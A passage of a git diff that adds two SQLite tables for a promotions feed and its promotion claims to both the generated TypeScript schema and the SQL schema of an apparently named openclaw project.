Commitments; config_health_entries: ConfigHealthEntries; diff --git a/src/state/openclaw-state-schema.generated.ts b/src/state/openclaw-state-schema.generated.ts index 404dc301b681..52e15cccc8c7 100644 --- a/src/state/openclaw-state-schema.generated.ts +++ b/src/state/openclaw-state-schema.generated.ts @@ -533,6 +533,24 @@ CREATE TABLE IF NOT EXISTS config_health_entries ( updated_at_ms INTEGER NOT NULL ); +CREATE TABLE IF NOT EXISTS clawhub_promotions_feed_state ( + state_key TEXT NOT NULL PRIMARY KEY, + etag TEXT, + payload_json TEXT, + feed_sequence INTEGER, + last_checked_at_ms INTEGER, + notified_slugs_json TEXT NOT NULL DEFAULT '[]', + updated_at_ms INTEGER NOT NULL +); + +CREATE TABLE IF NOT EXISTS clawhub_promotion_claims ( + slug TEXT NOT NULL PRIMARY KEY, + provider TEXT, + model_keys_json TEXT NOT NULL, + ends_at_ms INTEGER NOT NULL, + claimed_at_ms INTEGER NOT NULL +); + CREATE TABLE IF NOT EXISTS installed_plugin_index ( index_key TEXT NOT NULL PRIMARY KEY, version INTEGER NOT NULL, diff --git a/src/state/openclaw-state-schema.sql b/src/state/openclaw-state-schema.sql index 3ac673db19c0..311dd62115aa 100644 --- a/src/state/openclaw-state-schema.sql +++ b/src/state/openclaw-state-schema.sql @@ -528,6 +528,24 @@ CREATE TABLE IF NOT EXISTS config_health_entries ( updated_at_ms INTEGER NOT NULL ); +CREATE TABLE IF NOT EXISTS clawhub_promotions_feed_state ( + state_key TEXT NOT NULL PRIMARY KEY, + etag TEXT, + payload_json TEXT, + feed_sequence INTEGER, + last_checked_at_ms INTEGER, + notified_slugs_json TEXT NOT NULL DEFAULT '[]', + updated_at_ms INTEGER NOT NULL +); + +CREATE TABLE IF NOT EXISTS clawhub_promotion_claims ( + slug TEXT NOT NULL PRIMARY KEY, + provider TEXT, + model_keys_json TEXT NOT NULL, + ends_at_ms INTEGER NOT NULL, + claimed_at_ms INTEGER NOT NULL +); + CREATE TABLE IF NOT EXISTS installed_plugin_index ( index_key TEXT NOT NULL PRIMARY KEY, version INTEGER NOT NULL,